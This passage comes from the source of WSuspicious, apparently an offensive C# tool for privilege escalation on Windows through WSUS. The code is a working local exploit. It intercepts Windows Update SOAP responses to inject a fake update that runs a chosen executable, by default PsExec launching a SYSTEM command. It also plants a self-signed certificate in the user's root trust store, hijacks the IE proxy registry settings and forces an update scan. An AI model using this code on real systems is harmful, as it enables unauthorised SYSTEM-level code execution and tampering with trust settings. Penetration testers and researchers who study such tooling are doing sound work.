"SyncUpdatesResult").FirstOrDefault().AddFirst(importedNewUpdatesNode); 262 | 263 | // Small hack to handle the namespace during the XML merges above 264 | string returnedBody = doc.ToString(SaveOptions.DisableFormatting).Replace("", ""); 265 | 266 | e.SetResponseBodyString(returnedBody); 267 | 268 | await writeToConsole("---- First stage on the way ----"); 269 | 270 | await writeDebugToConsole(""); 271 | await writeDebugToConsole("========================================================"); 272 | await writeDebugToConsole(" RESPONSE "); 273 | await writeDebugToConsole("========================================================"); 274 | await writeDebugToConsole(returnedBody); 275 | } 276 | } 277 | 278 | flagStep = 0; 279 | } 280 | else if (flagStep == 2) 281 | { 282 | List soapActionHeaders = e.HttpClient.Request.Headers.GetHeaders("SOAPAction"); 283 | 284 | if (soapActionHeaders.Count > 0 && soapActionHeaders[0].Value.Contains("GetExtendedUpdateInfo")) 285 | { 286 | string payloadURL; 287 | if (String.IsNullOrEmpty(fakeWSUSHost)) 288 | { 289 | payloadURL = String.Format("http://{0}:8530/Content/B2/FB0A150601470195C47B4E8D87FCB3F50292BEB2.exe", wsusHost); 290 | } 291 | else 292 | { 293 | payloadURL = String.Format("http://{0}/Content/B2/FB0A150601470195C47B4E8D87FCB3F50292BEB2.exe", fakeWSUSHost); 294 | } 295 | 296 | string secondPhaseTemplate = ResourceHandler.ExtendedUpdateInfoTemplate; 297 | secondPhaseTemplate = String.Format(secondPhaseTemplate, 298 | updateID2, 299 | payload.Length, 300 | payload.Length, 301 | WebUtility.HtmlEncode(payloadSHA1), 302 | WebUtility.HtmlEncode(payloadExecutableName), 303 | payload.Length, 304 | WebUtility.HtmlEncode(payloadSHA256), 305 | executedCommand, 306 | WebUtility.HtmlEncode(payloadExecutableName), 307 | updateID1, 308 | updateID1, 309 | updateID2, 310 | payloadSHA1, 311 | payloadURL 312 | ); 313 | 314 | // TODO: I do not know if that works 315 | if (e.HttpClient.Response.StatusCode == 500) 316 | { 317 | e.HttpClient.Response.StatusCode = 200; 318 | e.HttpClient.Response.StatusDescription = "OK"; 319 | } 320 | 321 | e.SetResponseBodyString(secondPhaseTemplate); 322 | 323 | await writeToConsole("---- Second stage on the way ----"); 324 | } 325 | 326 | flagStep = 0; 327 | } 328 | } 329 | } 330 | } 331 | 332 | private async Task writeDebugToConsole(string message, ConsoleColor? consoleColor = null) 333 | { 334 | if (this.isDebug) 335 | { 336 | await writeToConsole(message, consoleColor); 337 | } 338 | } 339 | 340 | private async Task writeToConsole(string message, ConsoleColor? consoleColor = null) 341 | { 342 | await @lock.WaitAsync(); 343 | 344 | if (consoleColor.HasValue) 345 | { 346 | ConsoleColor existing = Console.ForegroundColor; 347 | Console.ForegroundColor = consoleColor.Value; 348 | Console.WriteLine(message); 349 | Console.ForegroundColor = existing; 350 | } 351 | else 352 | { 353 | Console.WriteLine(message); 354 | } 355 | 356 | @lock.Release(); 357 | } 358 | } 359 | } 360 | -------------------------------------------------------------------------------- /WSuspicious/Servers/Proxy/tls/CertificateMaker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Security.Cryptography.X509Certificates; 4 | using Org.BouncyCastle.Asn1; 5 | using Org.BouncyCastle.Asn1.Pkcs; 6 | using Org.BouncyCastle.Asn1.X509; 7 | using Org.BouncyCastle.Crypto; 8 | using Org.BouncyCastle.Crypto.Generators; 9 | using Org.BouncyCastle.Crypto.Operators; 10 | using Org.BouncyCastle.Crypto.Parameters; 11 | using Org.BouncyCastle.Crypto.Prng; 12 | using Org.BouncyCastle.Math; 13 | using Org.BouncyCastle.OpenSsl; 14 | using Org.BouncyCastle.Pkcs; 15 | using Org.BouncyCastle.Security; 16 | using Org.BouncyCastle.Utilities; 17 | using Org.BouncyCastle.X509; 18 | using X509Certificate = Org.BouncyCastle.X509.X509Certificate; 19 | 20 | namespace WSuspicious.Servers.Proxy.tls 21 | { 22 | /// 23 | /// Class used to generate the self-signed certificate sent to WSUS. 24 | /// Most of this code comes from the TitaniumProxy BCCertificateMaker class. 25 | /// 26 | class CertificateMaker 27 | { 28 | private const int certificateGraceDays = 366; 29 | private const int certificateValidDays = 366; 30 | 31 | public static X509Certificate2 MakeCertificate(string sSubjectCn) 32 | { 33 | return generateCertificate(null, $"CN={sSubjectCn}", $"CN={sSubjectCn}", 34 | DateTime.UtcNow.AddDays(-certificateGraceDays), 35 | DateTime.UtcNow.AddDays(certificateValidDays)); 36 | } 37 | 38 | public static void AddToTrustStore(X509Certificate2 cert) 39 | { 40 | X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser); 41 | store.Open(OpenFlags.ReadWrite); 42 | store.Add(cert); 43 | store.Close(); 44 | } 45 | 46 | public static void RemoveFromTrustStore(X509Certificate2 cert) 47 | { 48 | X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser); 49 | store.Open(OpenFlags.ReadWrite); 50 | store.Remove(cert); 51 | store.Close(); 52 | } 53 | 54 | private static X509Certificate2 generateCertificate(string hostName, 55 | string subjectName, 56 | string issuerName, DateTime validFrom, 57 | DateTime validTo, int keyStrength = 2048, 58 | string signatureAlgorithm = "SHA256WithRSA", 59 | AsymmetricKeyParameter issuerPrivateKey = null) 60 | { 61 | // Generating Random Numbers 62 | var randomGenerator = new CryptoApiRandomGenerator(); 63 | var secureRandom = new SecureRandom(randomGenerator); 64 | 65 | // The Certificate Generator 66 | var certificateGenerator = new X509V3CertificateGenerator(); 67 | 68 | // Serial Number 69 | var serialNumber = 70 | BigIntegers.CreateRandomInRange(BigInteger.One, BigInteger.ValueOf(long.MaxValue), secureRandom); 71 | certificateGenerator.SetSerialNumber(serialNumber); 72 | 73 | // Issuer and Subject Name 74 | var subjectDn = new X509Name(subjectName); 75 | var issuerDn = new X509Name(issuerName); 76 | certificateGenerator.SetIssuerDN(issuerDn); 77 | certificateGenerator.SetSubjectDN(subjectDn); 78 | 79 | certificateGenerator.SetNotBefore(validFrom); 80 | certificateGenerator.SetNotAfter(validTo); 81 | 82 | if (hostName != null) 83 | { 84 | // add subject alternative names 85 | var subjectAlternativeNames = new Asn1Encodable[] { new GeneralName(GeneralName.DnsName, hostName) }; 86 | 87 | var subjectAlternativeNamesExtension = new DerSequence(subjectAlternativeNames); 88 | certificateGenerator.AddExtension(X509Extensions.SubjectAlternativeName.Id, false, 89 | subjectAlternativeNamesExtension); 90 | } 91 | 92 | // Subject Public Key 93 | var keyGenerationParameters = new KeyGenerationParameters(secureRandom, keyStrength); 94 | var keyPairGenerator = new RsaKeyPairGenerator(); 95 | keyPairGenerator.Init(keyGenerationParameters); 96 | var subjectKeyPair = keyPairGenerator.GenerateKeyPair(); 97 | 98 | certificateGenerator.SetPublicKey(subjectKeyPair.Public); 99 | 100 | // Set certificate intended purposes to only Server Authentication 101 | certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage.Id, false, 102 | new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth)); 103 | if (issuerPrivateKey == null) 104 | { 105 | certificateGenerator.AddExtension(X509Extensions.BasicConstraints.Id, true, new BasicConstraints(true)); 106 | } 107 | 108 | var signatureFactory = new Asn1SignatureFactory(signatureAlgorithm, 109 | issuerPrivateKey ?? subjectKeyPair.Private, secureRandom); 110 | 111 | // Self-sign the certificate 112 | var certificate = certificateGenerator.Generate(signatureFactory); 113 | 114 | // Corresponding private key 115 | var privateKeyInfo = PrivateKeyInfoFactory.CreatePrivateKeyInfo(subjectKeyPair.Private); 116 | 117 | var seq = (Asn1Sequence)Asn1Object.FromByteArray(privateKeyInfo.ParsePrivateKey().GetDerEncoded()); 118 | 119 | if (seq.Count != 9) 120 | { 121 | throw new PemException("Malformed sequence in RSA private key"); 122 | } 123 | 124 | var rsa = RsaPrivateKeyStructure.GetInstance(seq); 125 | var rsaparams = new RsaPrivateCrtKeyParameters(rsa.Modulus, rsa.PublicExponent, rsa.PrivateExponent, 126 | rsa.Prime1, rsa.Prime2, rsa.Exponent1, 127 | rsa.Exponent2, rsa.Coefficient); 128 | 129 | // Set private key onto certificate instance 130 | var x509Certificate = withPrivateKey(certificate, rsaparams); 131 | 132 | //x509Certificate.FriendlyName = ProxyConstants.CNRemoverRegex.Replace(subjectName, string.Empty); 133 | 134 | return x509Certificate; 135 | } 136 | 137 | private static X509Certificate2 withPrivateKey(X509Certificate certificate, AsymmetricKeyParameter privateKey) 138 | { 139 | const string password = "password"; 140 | Pkcs12Store store; 141 | 142 | store = new Pkcs12Store(); 143 | 144 | var entry = new X509CertificateEntry(certificate); 145 | store.SetCertificateEntry(certificate.SubjectDN.ToString(), entry); 146 | 147 | store.SetKeyEntry(certificate.SubjectDN.ToString(), new AsymmetricKeyEntry(privateKey), new[] { entry }); 148 | using (var ms = new MemoryStream()) 149 | { 150 | store.Save(ms, password.ToCharArray(), new SecureRandom(new CryptoApiRandomGenerator())); 151 | 152 | return new X509Certificate2(ms.ToArray(), password, X509KeyStorageFlags.Exportable); 153 | } 154 | } 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /WSuspicious/Utility/ArgumentsParser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | namespace WSuspicious.Utility 6 | { 7 | class ArgumentsParser 8 | { 9 | public static Dictionary parse(string[] args) 10 | { 11 | Dictionary arguments = new Dictionary(); 12 | 13 | foreach (string argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 18 | else 19 | arguments[argument] = string.Empty; 20 | } 21 | 22 | if (arguments.ContainsKey("/exe")) 23 | { 24 | if (String.IsNullOrEmpty(arguments["/exe"])) 25 | { 26 | throw new ArgumentException("The provided executable is invalid."); 27 | } 28 | 29 | if (!File.Exists(arguments["/exe"])) 30 | { 31 | throw new ArgumentException("The provided executable was not found."); 32 | } 33 | } 34 | else 35 | { 36 | arguments["/exe"] = @".\PsExec64.exe"; 37 | } 38 | 39 | if (arguments.ContainsKey("/command")) 40 | { 41 | if (String.IsNullOrEmpty(arguments["/command"])) 42 | { 43 | throw new ArgumentException("The provided command is invalid."); 44 | } 45 | } 46 | else 47 | { 48 | arguments["/command"] = "-accepteula -s -d cmd /c \"echo 1 > C:\\wsuspicious.was.here\""; 49 | } 50 | 51 | if (arguments.ContainsKey("/proxyport")) 52 | { 53 | int port; 54 | if (!int.TryParse(arguments["/proxyport"], out port)) 55 | { 56 | throw new ArgumentException("The provided proxy port is invalid."); 57 | } 58 | } 59 | else 60 | { 61 | arguments["/proxyport"] = "13337"; 62 | } 63 | 64 | if (arguments.ContainsKey("/downloadport")) 65 | { 66 | int port; 67 | if (!int.TryParse(arguments["/downloadport"], out port)) 68 | { 69 | throw new ArgumentException("The provided download port is invalid."); 70 | } 71 | } 72 | 73 | return arguments; 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /WSuspicious/Utility/InternetExplorerProxyManager.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Text.RegularExpressions; 4 | using Microsoft.Win32; 5 | 6 | namespace WSuspicious.Utility 7 | { 8 | class InternetExplorerProxyManager 9 | { 10 | [DllImport("wininet.dll")] 11 | public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength); 12 | public const int INTERNET_OPTION_SETTINGS_CHANGED = 39; 13 | public const int INTERNET_OPTION_REFRESH = 37; 14 | 15 | private int proxyEnabled = 0; 16 | private string originalProxyUrl = ""; 17 | 18 | private const string keyName = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"; 19 | 20 | public void setProxy(string proxyhost, int port, bool setHTTPS) 21 | { 22 | this.proxyEnabled = Convert.ToInt32(Registry.GetValue(keyName, "ProxyEnable", 0)); 23 | this.originalProxyUrl = (string)Registry.GetValue(keyName, "ProxyServer", ""); 24 | 25 | string currentValue = this.originalProxyUrl; 26 | 27 | if (Regex.IsMatch(currentValue, "^[^:|=]{1,}:[0-9]{1,}$")) 28 | { 29 | // This is a global proxy, we have to split it 30 | if (setHTTPS) 31 | { 32 | currentValue = String.Format("http={0}:{1};https={0}:{1};ftp={2};socks={3}", proxyhost, port, currentValue, currentValue); 33 | } 34 | else 35 | { 36 | currentValue = String.Format("http={0}:{1};https={2};ftp={3};socks={4}", proxyhost, port, currentValue, currentValue, currentValue); 37 | } 38 | } 39 | else if (String.IsNullOrWhiteSpace(currentValue)) 40 | { 41 | if (setHTTPS) 42 | { 43 | currentValue = String.Format("http={0}:{1};https={0}:{1}", proxyhost, port); 44 | } 45 | else 46 | { 47 | currentValue = String.Format("http={0}:{1}", proxyhost, port); 48 | } 49 | } 50 | else 51 | { 52 | currentValue = Regex.Replace(currentValue, "http=[^:]{1,}:[0-9]{1,}", String.Format("http={0}:{1}", proxyhost, port)); 53 | 54 | if (setHTTPS) 55 | { 56 | currentValue = Regex.Replace(currentValue, "https=[^:]{1,}:[0-9]{1,}", String.Format("https={0}:{1}", proxyhost, port)); 57 | } 58 | } 59 | 60 | Registry.SetValue(keyName, "ProxyServer", currentValue); 61 | Registry.SetValue(keyName, "ProxyEnable", 1); 62 | 63 | // These lines implement the Interface in the beginning of program 64 | // They cause the OS to refresh the settings, causing IP to realy update 65 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0); 66 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0); 67 | } 68 | 69 | public void revert() 70 | { 71 | Registry.SetValue(keyName, "ProxyServer", this.originalProxyUrl); 72 | Registry.SetValue(keyName, "ProxyEnable", this.proxyEnabled); 73 | 74 | // These lines implement the Interface in the beginning of program 75 | // They cause the OS to refresh the settings, causing IP to realy update 76 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0); 77 | InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0); 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /WSuspicious/Utility/WindowsUpdateLauncher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.Linq; 5 | 6 | namespace WSuspicious.Utility 7 | { 8 | public static class WindowsUpdateLauncher 9 | { 10 | private static readonly string userPath = Environment.GetEnvironmentVariable("PATH"); 11 | 12 | private static readonly string win10Executable = "usoclient.exe"; 13 | private static readonly string pathWin10 = userPath.Split(';') 14 | .Where(s => File.Exists(Path.Combine(s, win10Executable))) 15 | .FirstOrDefault(); 16 | 17 | public static void StartUpdates() 18 | { 19 | if (pathWin10 != null && !String.IsNullOrWhiteSpace(pathWin10)) 20 | { 21 | Process process = new Process(); 22 | process.StartInfo.FileName = Path.Combine(pathWin10, win10Executable); 23 | process.StartInfo.Arguments = "StartInteractiveScan"; 24 | process.Start(); 25 | process.WaitForExit(); 26 | } 27 | else 28 | { 29 | //TODO: Make this work for older windows versions with wuauclt.exe 30 | } 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /WSuspicious/WSuspicious.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Exe 5 | net45 6 | WSuspicious 7 | WSuspicious 8 | WSuspicious.Program 9 | 10 | 11 | 12 | False 13 | None 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /docs/privesc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GoSecure/WSuspicious/af4e8b0fa55031418d4c0ea0af3d7ba1d0af6ee5/docs/privesc.gif --------------------------------------------------------------------------------